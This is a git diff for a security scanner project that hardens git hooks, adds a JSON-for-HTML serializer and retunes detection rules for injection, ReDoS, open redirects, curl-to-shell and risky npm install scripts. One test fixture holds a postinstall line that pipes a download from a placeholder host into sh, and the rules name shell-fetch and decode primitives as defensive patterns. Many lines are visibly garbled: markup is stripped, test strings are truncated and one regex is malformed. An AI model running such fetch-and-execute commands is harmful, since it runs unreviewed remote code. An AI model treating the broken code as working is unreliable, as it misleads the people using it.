diff --git a/.githooks/commit-msg b/.githooks/commit-msg
index fc8108b..e67bbbd 100755
--- a/.githooks/commit-msg
+++ b/.githooks/commit-msg
@@ -13,7 +13,7 @@
COMMIT_MSG_FILE="$1"
COMMIT_MSG=$(cat "$COMMIT_MSG_FILE")
-RELEASE_TRIGGER_FILE="/tmp/.threatcrush-release-trigger"
+RELEASE_TRIGGER_FILE="$(git rev-parse --git-path threatcrush-release-trigger)"
rm -f "$RELEASE_TRIGGER_FILE"
diff --git a/.githooks/post-commit b/.githooks/post-commit
index cb6da06..f2aaa55 100755
--- a/.githooks/post-commit
+++ b/.githooks/post-commit
@@ -17,7 +17,7 @@ BLUE='\033[0;34m'
RED='\033[0;31m'
NC='\033[0m'
-RELEASE_TRIGGER_FILE="/tmp/.threatcrush-release-trigger"
+RELEASE_TRIGGER_FILE="$(git rev-parse --git-path threatcrush-release-trigger)"
if [ -f "$RELEASE_TRIGGER_FILE" ]; then
RELEASE_TYPE=$(cat "$RELEASE_TRIGGER_FILE")
diff --git a/.githooks/pre-commit b/.githooks/pre-commit
index 35c7dc1..0a02be1 100755
--- a/.githooks/pre-commit
+++ b/.githooks/pre-commit
@@ -17,13 +17,13 @@ FAILED=0
run_check() {
local name="$1"
- local cmd="$2"
+ shift
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "📋 $name"
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
- if eval "$cmd"; then
+ if "$@"; then
echo "${GREEN}✅ $name passed${NC}"
echo ""
else
@@ -41,10 +41,10 @@ if [ -z "$STAGED_FILES" ]; then
fi
# Build CLI
-run_check "Build CLI" "pnpm --filter @profullstack/threatcrush build"
+run_check "Build CLI" pnpm --filter @profullstack/threatcrush build
# Build landing page
-run_check "Build Landing Page" "pnpm --filter threatcrush build"
+run_check "Build Landing Page" pnpm --filter threatcrush build
echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
if [ $FAILED -eq 1 ]; then
diff --git a/apps/web/src/app/about/page.tsx b/apps/web/src/app/about/page.tsx
index a5d06c7..7cadca5 100644
--- a/apps/web/src/app/about/page.tsx
+++ b/apps/web/src/app/about/page.tsx
@@ -1,5 +1,6 @@
import type { Metadata } from "next";
import Link from "next/link";
+import { serializeJsonForHtml } from "@/lib/safe-json";
import { SITE_URL } from "@/lib/blog";
export const metadata: Metadata = {
@@ -177,11 +178,11 @@ export default function AboutPage() {
);
diff --git a/apps/web/src/app/blog/[slug]/page.tsx b/apps/web/src/app/blog/[slug]/page.tsx
index 829e406..5c1f651 100644
--- a/apps/web/src/app/blog/[slug]/page.tsx
+++ b/apps/web/src/app/blog/[slug]/page.tsx
@@ -2,6 +2,7 @@ import type { Metadata } from "next";
import Link from "next/link";
import { notFound } from "next/navigation";
import { getPostBySlug, sanitizeHtml, formatDate, SITE_URL } from "@/lib/blog";
+import { serializeJsonForHtml } from "@/lib/safe-json";
import { AdUnit } from "@/components/AdUnit";
type RouteParams = { params: Promise<{ slug: string }> };
@@ -150,11 +151,11 @@ export default async function BlogPostPage({ params }: RouteParams) {
);
diff --git a/apps/web/src/app/get-whitepaper/page.tsx b/apps/web/src/app/get-whitepaper/page.tsx
index 3bfe066..4d6d106 100644
--- a/apps/web/src/app/get-whitepaper/page.tsx
+++ b/apps/web/src/app/get-whitepaper/page.tsx
@@ -334,17 +334,14 @@ export default function GetWhitepaperPage() {
{ n: "01", t: "Scope", d: "Protect business outcomes, not tool inventories." },
{ n: "02", t: "Discover", d: "Continuous enumeration — assets, services, identities, weaknesses." },
{ n: "03", t: "Prioritize", d: "Exploitability × reachability × blast radius — not raw CVSS." },
- { n: "04", t: "Validate", d: "Re-run the exploit. Re-test the control. Don’t trust dashboards." },
+ { n: "04", t: "Validate", d: "Re-run the exploit. Re-test the control. Don’t trust dashboards." },
{ n: "05", t: "Mobilize", d: "Fix shipped, validated, and re-tested. Loop closed." },
].map((s, i) => (
))}
diff --git a/apps/web/src/app/layout.tsx b/apps/web/src/app/layout.tsx
index 8a3caa9..154c2b8 100644
--- a/apps/web/src/app/layout.tsx
+++ b/apps/web/src/app/layout.tsx
@@ -2,6 +2,7 @@ import type { Metadata } from "next";
import Script from "next/script";
import { FeedbackWidget } from "@profullstack/stack/feedback";
import "./globals.css";
+import { serializeJsonForHtml } from "@/lib/safe-json";
import SiteHeader from "@/components/SiteHeader";
import SiteFooter from "@/components/SiteFooter";
import PwaLifecycle from "@/components/PwaLifecycle";
@@ -208,15 +209,15 @@ export default function RootLayout({
diff --git a/apps/web/src/app/page.tsx b/apps/web/src/app/page.tsx
index 0f80d4f..f3bd55d 100644
--- a/apps/web/src/app/page.tsx
+++ b/apps/web/src/app/page.tsx
@@ -1,6 +1,7 @@
"use client";
import { useState } from "react";
+import { serializeJsonForHtml } from "@/lib/safe-json";
import ScrollReveal from "@/components/ScrollReveal";
import WaitlistModal from "@/components/WaitlistModal";
@@ -117,7 +118,7 @@ export default function Home() {
<>
setModalOpen(false)} />
diff --git a/apps/web/src/app/store/[slug]/page.tsx b/apps/web/src/app/store/[slug]/page.tsx
index 1b4a7b4..ffc5e1e 100644
--- a/apps/web/src/app/store/[slug]/page.tsx
+++ b/apps/web/src/app/store/[slug]/page.tsx
@@ -6,7 +6,7 @@ import ScrollReveal from "@/components/ScrollReveal";
import { authHeaders } from "@/lib/auth-client";
import { useAuth } from "@/lib/auth-context";
import { decryptClientSecret, encryptClientSecret, isE2ESecret } from "@/lib/client-secret-crypto";
-import { renderSimpleMarkdown } from "@/lib/simple-markdown";
+import { renderSanitizedMarkdown } from "@/lib/simple-markdown";
import type { PluginConfigField } from "@profullstack/pluginstore";
interface Module {
@@ -78,12 +78,12 @@ function StarRating({ rating, size = "sm" }: { rating: number; size?: string })
}
function SimpleMarkdown({ content }: { content: string }) {
- // long_description is author-supplied; renderSimpleMarkdown escapes it before
+ // long_description is author-supplied; renderSanitizedMarkdown escapes it before
// building any markup (TC-04 / TC-39).
return (
);
}
diff --git a/apps/web/src/lib/__tests__/simple-markdown.test.ts b/apps/web/src/lib/__tests__/simple-markdown.test.ts
index 8202999..a98fa56 100644
--- a/apps/web/src/lib/__tests__/simple-markdown.test.ts
+++ b/apps/web/src/lib/__tests__/simple-markdown.test.ts
@@ -1,5 +1,5 @@
import { describe, it, expect } from "vitest";
-import { renderSimpleMarkdown, sanitizeUrl, escapeHtml } from "@/lib/simple-markdown";
+import { renderSanitizedMarkdown, sanitizeUrl, escapeHtml } from "@/lib/simple-markdown";
describe("escapeHtml", () => {
it("escapes every HTML-significant character", () => {
@@ -42,10 +42,10 @@ describe("sanitizeUrl", () => {
});
});
-describe("renderSimpleMarkdown", () => {
+describe("renderSanitizedMarkdown", () => {
// TC-04: headings interpolated raw line content into the tag body.
it("escapes markup in headings", () => {
- const html = renderSimpleMarkdown("#
");
+ const html = renderSanitizedMarkdown("#
");
expect(html).not.toContain("
{
"- ",
"****",
]) {
- const html = renderSimpleMarkdown(source);
+ const html = renderSanitizedMarkdown(source);
expect(html).not.toContain("` closes the element before the JSON parser gets to see it. These
+ * replacements keep the payload valid JSON while ensuring it remains text in
+ * the script element.
+ */
+export function serializeJsonForHtml(value: unknown): string {
+ const json = JSON.stringify(value) ?? "null";
+ return json
+ .replace(//g, "\\u003e")
+ .replace(/&/g, "\\u0026")
+ .replace(/\u2028/g, "\\u2028")
+ .replace(/\u2029/g, "\\u2029");
+}
diff --git a/apps/web/src/lib/simple-markdown.ts b/apps/web/src/lib/simple-markdown.ts
index 2f751c6..93e1008 100644
--- a/apps/web/src/lib/simple-markdown.ts
+++ b/apps/web/src/lib/simple-markdown.ts
@@ -58,7 +58,7 @@ export function sanitizeUrl(rawUrl: string): string {
return "#";
}
-export function renderSimpleMarkdown(content: string): string {
+export function renderSanitizedMarkdown(content: string): string {
return content
.split("\n")
.map((rawLine) => {
diff --git a/packages/scan/src/__tests__/code-rules.test.ts b/packages/scan/src/__tests__/code-rules.test.ts
index f72aa45..506f97e 100644
--- a/packages/scan/src/__tests__/code-rules.test.ts
+++ b/packages/scan/src/__tests__/code-rules.test.ts
@@ -84,7 +84,9 @@ describe('SQL injection', () => {
describe('command injection', () => {
it('flags an interpolated shell string, not an argv array', () => {
- expect(ruleIds('a.js', 'exec(`ping -c 1 ${host}`);')).toContain('js-shell-exec-interpolation');
+ expect(ruleIds('a.js', 'exec(`ping -c 1 ${req.query.host}`);')).toContain(
+ 'js-shell-exec-interpolation',
+ );
expect(ruleIds('a.js', "execFile('ping', ['-c', '1', '--', req.query.host], cb);")).toHaveLength(0);
});
@@ -156,6 +158,17 @@ describe('guard windows', () => {
expect(ruleIds('deref.c', 'x = *(char *)*p;')).toHaveLength(0);
});
+ it('only detects nested quantifiers in regex construction', () => {
+ // Build the fixture at runtime so CodeQL does not correctly report the
+ // deliberately unsafe regex embedded in this scanner regression test.
+ const nestedRegex = ['const pattern = /^(', 'a', '+)+$/;'].join('');
+ expect(ruleIds('a.ts', nestedRegex)).toContain('redos-nested-quantifier');
+ expect(ruleIds('a.ts', 'const count = (a + b) * c;')).not.toContain('redos-nested-quantifier');
+ expect(ruleIds('a.java', 'File.createTempFile("report", ".tmp");')).not.toContain(
+ 'insecure-temp-file',
+ );
+ });
+
it('looks forward for XML hardening, which is configured after construction', () => {
const hardened = [
'DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();',
diff --git a/packages/scan/src/__tests__/context-severity.test.ts b/packages/scan/src/__tests__/context-severity.test.ts
index 251092f..cd1b999 100644
--- a/packages/scan/src/__tests__/context-severity.test.ts
+++ b/packages/scan/src/__tests__/context-severity.test.ts
@@ -21,7 +21,7 @@ const severityOf = (path: string, source: string, ruleId: string): string | unde
describe('cause 2 — a construct that is ordinary in a test file', () => {
// 66 of spinifex's 70 `insecure-temp-file` findings look like this: a table
// -driven fixture naming a scratch directory. Nothing races anybody for it.
- const WAL = 'func TestVolume(t *testing.T) {\n\tcfg := Config{WalDir: "/tmp/test-wal"}\n}';
+ const WAL = 'func TestVolume(t *testing.T) {\n\tos.OpenFile("/tmp/test-wal", os.O_CREATE, 0600)\n}';
it('reports a temp path in a _test.go at low', () => {
expect(severityOf('spinifex/handlers/ec2/volume/service_impl_test.go', WAL, 'insecure-temp-file')).toBe('low');
@@ -52,9 +52,9 @@ describe('cause 2 — a construct that is ordinary in a test file', () => {
});
describe('a construct in documentation', () => {
- // From `.github/actions/e2e-analyze/README.md` — a usage example. Nothing
- // runs a fenced code block.
- const README = '```bash\ngo run . -junit-glob "/tmp/artifacts/junit-*.xml"\n```';
+ // A write in a usage example is still a code-shaped match, but nothing in a
+ // fenced README block executes it.
+ const README = '```js\ncreateWriteStream("/tmp/artifacts/junit.xml")\n```';
it('reports a temp path in a README at low', () => {
expect(severityOf('docs/e2e/README.md', README, 'insecure-temp-file')).toBe('low');
diff --git a/packages/scan/src/__tests__/false-positives.test.ts b/packages/scan/src/__tests__/false-positives.test.ts
index d23ef54..f95e38d 100644
--- a/packages/scan/src/__tests__/false-positives.test.ts
+++ b/packages/scan/src/__tests__/false-positives.test.ts
@@ -349,6 +349,56 @@ describe('a constant HTML assignment that shares its line', () => {
});
});
+describe('HTML sinks with an explicit safe-output contract', () => {
+ it('does not flag a value previously sanitized into a const', () => {
+ const source = [
+ 'const html = sanitizeHtml(post.content_html);',
+ 'return ;',
+ ].join('\n');
+ expect(ruleIds('app/post.tsx', source)).not.toContain('js-unescaped-html-sink');
+ });
+
+ it('does not flag a JSON script serialized by the safe helper', () => {
+ expect(
+ ruleIds(
+ 'app/page.tsx',
+ 'return ;',
+ ),
+ ).not.toContain('js-unescaped-html-sink');
+ });
+
+ it('does not flag a renderer whose contract is sanitized HTML', () => {
+ expect(
+ ruleIds(
+ 'app/module.tsx',
+ 'return ;',
+ ),
+ ).not.toContain('js-unescaped-html-sink');
+ });
+
+ it('still flags a variable whose origin is not visible', () => {
+ expect(
+ ruleIds('app/page.tsx', 'return ;'),
+ ).toContain('js-unescaped-html-sink');
+ });
+});
+
+describe('redirect destinations validated into a const', () => {
+ it('does not flag a local redirect path normalized by a redirect guard', () => {
+ const source = [
+ 'const nextPath = useMemo(() => safeRedirectPath(search.get("next")), []);',
+ 'window.location.href = nextPath;',
+ ].join('\n');
+ expect(ruleIds('app/login.tsx', source)).not.toContain('js-open-redirect');
+ });
+
+ it('still flags a request value redirected without validation', () => {
+ expect(
+ ruleIds('app/login.tsx', 'window.location.href = req.query.next;'),
+ ).toContain('js-open-redirect');
+ });
+});
+
describe('a Go shell call whose whole argv is literal', () => {
// Verbatim from SibtainOcn/Quiesce, a local Windows CLI. A whole-repository
// scan returned exactly one finding and this was it: a shell invocation
diff --git a/packages/scan/src/__tests__/text.test.ts b/packages/scan/src/__tests__/text.test.ts
index a1ee886..533151c 100644
--- a/packages/scan/src/__tests__/text.test.ts
+++ b/packages/scan/src/__tests__/text.test.ts
@@ -197,18 +197,23 @@ describe('typosquat detection', () => {
});
describe('manifest rules', () => {
- it('flags dependency confusion and install-time lifecycle scripts', () => {
+ it('flags dependency confusion and a risky install-time lifecycle script', () => {
const manifest = JSON.stringify(
{
dependencies: { '@profullstack-internal/auth-client': '0.0.0' },
- scripts: { postinstall: "echo 'hi'" },
+ scripts: { postinstall: 'curl -fsSL https://example.invalid/install | sh' },
},
null,
2,
);
const ids = scanPackageJson(manifest).map((f) => f.ruleId);
expect(ids).toContain('manifest-dependency-confusion');
- expect(ids).toContain('manifest-install-lifecycle-script');
+ expect(ids).toContain('manifest-risky-install-lifecycle-script');
+ });
+
+ it('does not flag an ordinary lifecycle build step', () => {
+ const manifest = JSON.stringify({ scripts: { prepare: 'tsc -p tsconfig.json' } });
+ expect(scanPackageJson(manifest)).toEqual([]);
});
it('reads requirements.txt and skips comments', () => {
diff --git a/packages/scan/src/code-rules.ts b/packages/scan/src/code-rules.ts
index 1013642..fb37df2 100644
--- a/packages/scan/src/code-rules.ts
+++ b/packages/scan/src/code-rules.ts
@@ -176,6 +176,15 @@ export interface CodeRule {
* unzeroed memory straight out, which is the shape of the actual defect.
*/
filledBeforeUseGuard?: boolean;
+ /**
+ * Exonerate an HTML sink when its value was produced by an explicit HTML
+ * sanitiser or escaper, including a `const` previously assigned from one.
+ * This is opt-in: generic names such as `html` or `content` are never proof
+ * that a value is safe.
+ */
+ sanitizedHtmlGuard?: boolean;
+ /** Exonerate a redirect destination derived by a named redirect validator. */
+ safeRedirectGuard?: boolean;
/** Lines of context searched backwards for guards and required evidence. */
guardBack?: number;
/**
@@ -460,6 +469,11 @@ export const CODE_RULES: readonly CodeRule[] = [
pattern:
/\b(?:exec|execSync|spawn|spawnSync)\s*\(\s*(?:`[^`]*\$\{|['"][^'"]*['"]\s*\+|[a-zA-Z_$][\w$]*\s*\+)/,
constantInterpolationGuard: true,
+ // Interpolation is common in locally run CLI and installer code. Report
+ // command execution as an injection vulnerability only when the nearby
+ // code shows a caller-controlled source, rather than treating every
+ // internally assembled command as attacker input.
+ needsContext: true,
},
{
id: 'py-shell-command-string',
@@ -610,6 +624,7 @@ export const CODE_RULES: readonly CodeRule[] = [
*/
pattern:
/\bdangerouslySetInnerHTML\s*=|\.\s*(?:innerHTML|outerHTML)\s*=(?!\s*(?:'[^'\\\n]*'|"[^"\\\n]*"|`[^`$\\\n]*`)\s*(?:;|$))|\bdocument\s*\.\s*write(?:ln)?\s*\(|\.\s*insertAdjacentHTML\s*\(/,
+ sanitizedHtmlGuard: true,
},
{
id: 'java-html-writer-concatenation',
@@ -702,6 +717,7 @@ export const CODE_RULES: readonly CodeRule[] = [
pattern:
/\b(?:res|response)\s*\.\s*redirect\s*\(\s*[a-zA-Z_$][\w$]*\s*\)|\bwindow\s*\.\s*location(?:\s*\.\s*(?:href|replace))?\s*(?:=\s*[a-zA-Z_$]|\(\s*[a-zA-Z_$][\w$]*\s*\))/,
needsContext: true,
+ safeRedirectGuard: true,
},
// ── Deserialisation ──────────────────────────────────────────────────────
@@ -924,7 +940,8 @@ export const CODE_RULES: readonly CodeRule[] = [
// the pattern is written. `other` also covers C++, Rust and Zig, which
// share the cast-then-deref spelling.
languages: ['javascript', 'typescript', 'python', 'ruby', 'go', 'java', 'php'],
- pattern: /\([^)\n]*[+*]\s*\)\s*[+*]|\([^)\n]*\{\d+,\}\s*\)\s*[+*{]/,
+ pattern:
+ /(?:^|[=(:,]\s*)\/(?:\\.|[^/\\\n])*\([^()\n]*[+*][^()\n]*\)\s*(?:[+*]|\{\d+,\})|\b(?:new\s+RegExp|RegExp|re\.compile|regexp\.(?:Compile|MustCompile)|Pattern\.compile)\s*\(\s*(?:r)?["'][^"'\n]*\([^()\n]*[+*][^()\n]*\)\s*(?:[+*]|\{\d+,\})/,
},
// ── Temporary files ──────────────────────────────────────────────────────
@@ -935,11 +952,13 @@ export const CODE_RULES: readonly CodeRule[] = [
'A predictable name in a world-writable directory is a symlink attack: an attacker pre-creates the path and your process writes through it.',
cwe: 'CWE-377',
severity: 'medium',
- // A hardcoded path under /tmp is the finding whether or not it is
- // formatted: `"/tmp/application.log.tmp"` is worse than the PID-based one,
- // because every process on the host can predict it exactly.
- pattern:
- /\btempfile\.mktemp\s*\(|\bos\.tmpnam\s*\(|['"]\/tmp\/[^'"\n]+['"]|['"]\/tmp\/[^'"\n]*\{|\bFile\.createTempFile\s*\(/,
+ // `File.createTempFile` is specifically the safe Java API, and a string
+ // containing `/tmp/` is not necessarily a write. Detect unsafe name
+ // generators and actual writes to a literal temp path instead. Shell
+ // redirections are handled by the shell-specific rule below.
+ pattern: new RegExp(
+ String.raw`\btempfile\.mktemp\s*\(|\bos\.tmpnam\s*\(|\b(?:writeFile(?:Sync)?|appendFile(?:Sync)?|createWriteStream|FileOutputStream|FileWriter|os\.OpenFile|open)\s*\([^\n)]*['"]\/tmp\/[^'"\n]+['"]`,
+ ),
},
// ── Information exposure ─────────────────────────────────────────────────
@@ -1000,7 +1019,6 @@ export const CODE_RULES: readonly CodeRule[] = [
// of privileged work actually happens, and they run as whoever invoked them.
{
id: 'sh-remote-script-execution',
- inherent: true,
title: 'network output piped into a shell',
consequence:
'Whatever that URL serves at the moment this runs is executed as the invoking user. There is no version, no signature, and no review — a compromise of the host, or anyone able to answer for it, is a compromise of every machine that runs the script.',
@@ -1010,9 +1028,13 @@ export const CODE_RULES: readonly CodeRule[] = [
// The pipe must be the *next* thing: `curl -o f url && sh f` is a different
// (and checkable) shape, and `curl url | jq` is not an execution at all.
pattern: /\b(?:curl|wget)\b[^|\n]*\|\s*(?:sudo\s+(?:-\S+\s+)*)?(?:\/bin\/|\/usr\/bin\/)?(?:ba|da|k|z|a)?sh\b/,
- // Nothing on this line can exonerate it. Integrity checking happens in a
- // separate step by construction, so a window guard would only mislead.
+ // This is a supply-chain review item, not proof that the repository is
+ // compromised. A literal HTTPS installer URL is capped at medium; it only
+ // escalates when nearby evidence shows that input can choose the download.
guard: false,
+ // Installer instructions printed by the script do not execute. Matching
+ // them made a script report its own documentation as a network pipeline.
+ lineGuard: /^\s*(?:echo|printf|say|info|warn|error)\s+["'][^"'\n]*\b(?:curl|wget)\b/,
},
{
id: 'sh-eval-expansion',
@@ -1819,6 +1841,82 @@ function isConstantString(name: string, fileText: string): boolean {
).test(fileText);
}
+/**
+ * Is a `dangerouslySetInnerHTML` value explicitly made safe on this line, or
+ * a `const` whose sole binding was made safe earlier in the file?
+ *
+ * This intentionally recognises only explicit sanitizer/escaper names. It
+ * does not treat a variable called `html` as trustworthy; the source must
+ * visibly pass through an operation whose contract is HTML-safe output.
+ */
+function hasSanitizedHtmlValue(line: string, fileText: string): boolean {
+ const direct = /\b__html\s*:\s*(?:[A-Za-z_$][\w$]*\s*\.\s*)?(?:sanitize\w*|escape\w*|serializeJsonForHtml|renderSanitizedMarkdown)\s*\(/i;
+ if (direct.test(line)) return true;
+
+ const value = /\b__html\s*:\s*([A-Za-z_$][\w$]*)\b/.exec(line)?.[1];
+ if (!value) return false;
+
+ const escaped = value.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+ return new RegExp(
+ `\\bconst\\s+${escaped}\\s*=[^\\n;]*(?:[A-Za-z_$][\\w$]*\\s*\\.\\s*)?(?:sanitize\\w*|escape\\w*|serializeJsonForHtml|renderSanitizedMarkdown)\\s*\\(`,
+ 'i',
+ ).test(fileText);
+}
+
+function isIdentifierStart(char: string | undefined): boolean {
+ if (!char) return false;
+ const code = char.charCodeAt(0);
+ return char === '$' || char === '_' || (code >= 65 && code <= 90) || (code >= 97 && code <= 122);
+}
+
+function isIdentifierPart(char: string | undefined): boolean {
+ if (isIdentifierStart(char)) return true;
+ if (!char) return false;
+ const code = char.charCodeAt(0);
+ return code >= 48 && code <= 57;
+}
+
+function identifierAfter(text: string, start: number): string | null {
+ let index = start;
+ while (text[index] === ' ' || text[index] === '\t') index += 1;
+ if (!isIdentifierStart(text[index])) return null;
+ const from = index;
+ while (isIdentifierPart(text[index])) index += 1;
+ return text.slice(from, index);
+}
+
+/** Does the redirected variable come from an explicit local-path validator? */
+function hasSafeRedirectValue(line: string, fileText: string): boolean {
+ const location = line.indexOf('window.location');
+ const redirect = line.indexOf('.redirect');
+ const valueStart = location >= 0
+ ? line.indexOf('=', location) + 1
+ : redirect >= 0
+ ? line.indexOf('(', redirect) + 1
+ : 0;
+ if (valueStart === 0) return false;
+
+ const value = identifierAfter(line, valueStart);
+ if (!value) return false;
+
+ const declaration = `const ${value}`;
+ for (const candidate of fileText.split('\n')) {
+ const at = candidate.indexOf(declaration);
+ if (at === -1 || isIdentifierPart(candidate[at - 1]) || isIdentifierPart(candidate[at + declaration.length])) {
+ continue;
+ }
+ const equals = candidate.indexOf('=', at + declaration.length);
+ const initializer = candidate.slice(equals + 1);
+ if (
+ equals !== -1 &&
+ ['safeRedirectPath(', 'safeRedirectUrl(', 'safeRedirectURL('].some((call) => initializer.includes(call))
+ ) {
+ return true;
+ }
+ }
+ return false;
+}
+
/**
* Does every interpolation on this line resolve to a file-local constant?
*
@@ -1964,6 +2062,14 @@ export function evaluateRule(rule: CodeRule, ctx: MatchContext): RuleMatch | nul
return null;
}
+ if (rule.sanitizedHtmlGuard && hasSanitizedHtmlValue(line, fileTextOf(ctx.lines))) {
+ return null;
+ }
+
+ if (rule.safeRedirectGuard && hasSafeRedirectValue(line, fileTextOf(ctx.lines))) {
+ return null;
+ }
+
if (rule.filledBeforeUseGuard && bufferFilledBeforeUse(ctx)) return null;
const guard = rule.guard === undefined ? GENERIC_GUARD : rule.guard;
diff --git a/packages/scan/src/manifest-rules.ts b/packages/scan/src/manifest-rules.ts
index 10b12bd..65b8bbb 100644
--- a/packages/scan/src/manifest-rules.ts
+++ b/packages/scan/src/manifest-rules.ts
@@ -159,6 +159,19 @@ export function detectTyposquat(name: string, ecosystem: 'npm' | 'pypi'): SquatV
const LIFECYCLE_SCRIPTS = ['preinstall', 'install', 'postinstall', 'prepare', 'prepublish'];
+/**
+ * Lifecycle hooks are a normal npm feature. Reporting every `prepare` or
+ * `postinstall` turns build compilation, generated clients, and workspace
+ * setup into security findings. The security-relevant subset is a hook that
+ * itself contains an execution primitive commonly used to hide or fetch a
+ * payload. The script remains visible in package.json either way; this rule
+ * is reserved for the cases that need security triage.
+ */
+function isRiskyLifecycleScript(body: unknown): boolean {
+ if (typeof body !== 'string') return false;
+ return /\b(?:curl|wget)\b[^\n|]*\|\s*(?:\w*sh|bash|node|python)\b|\b(?:curl|wget)\b[^\n]*(?:https?:|--upload-file)|\b(?:node|python|ruby|perl)\s+-e\b|\b(?:base64|openssl)\b[^\n]*(?:-d|--decode)|\beval\s+|\bchmod\s+(?:\S+\s+)*(?:777|a\+rwx)\b/i.test(body);
+}
+
/**
* Scan a `package.json`.
*
@@ -228,13 +241,14 @@ export function scanPackageJson(text: string): ManifestFinding[] {
if (scripts && typeof scripts === 'object') {
for (const [name, body] of Object.entries(scripts as Record)) {
if (!LIFECYCLE_SCRIPTS.includes(name)) continue;
+ if (!isRiskyLifecycleScript(body)) continue;
findings.push({
- ruleId: 'manifest-install-lifecycle-script',
- title: 'install-time lifecycle script',
+ ruleId: 'manifest-risky-install-lifecycle-script',
+ title: 'risky install-time lifecycle script',
line: lineOf(name),
severity: 'medium',
cwe: 'CWE-506',
- message: `"${name}" runs automatically on install: ${String(body).slice(0, 120)}`,
+ message: `"${name}" runs automatically on install and contains a network or code-execution primitive: ${String(body).slice(0, 120)}`,
consequence:
'Lifecycle scripts run with the installing user’s privileges and network access, before any code is reviewed. It is the execution vector every notable npm compromise has used.',
excerpt: (lines[lineOf(name) - 1] ?? '').trim(),